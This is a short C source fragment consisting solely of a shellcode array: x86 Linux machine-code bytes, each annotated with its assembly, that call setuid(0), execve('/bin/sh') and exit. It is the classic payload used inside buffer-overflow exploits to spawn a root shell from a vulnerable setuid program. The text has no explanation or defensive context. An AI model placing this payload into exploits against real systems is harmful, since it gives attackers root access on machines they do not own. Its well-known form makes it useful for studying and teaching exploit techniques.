char shellcode[]=
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\xb0\x17"                      /* movb $0x17,%al        */
        "\xcd\x80"                      /* int $0x80             */
        "\xeb\x1f"                      /* jmp 0x1f              */
        "\x5e"                          /* popl %esi             */
        "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\x89\xf3"                      /* movl %esi,%ebx        */
        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\x89\xd8"                      /* movl %ebx,%eax        */
        "\x40"                          /* inc %eax              */
        "\xcd\x80"                      /* int $0x80             */
        "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
        "/bin/sh";                      /* .string \"/bin/sh\"   */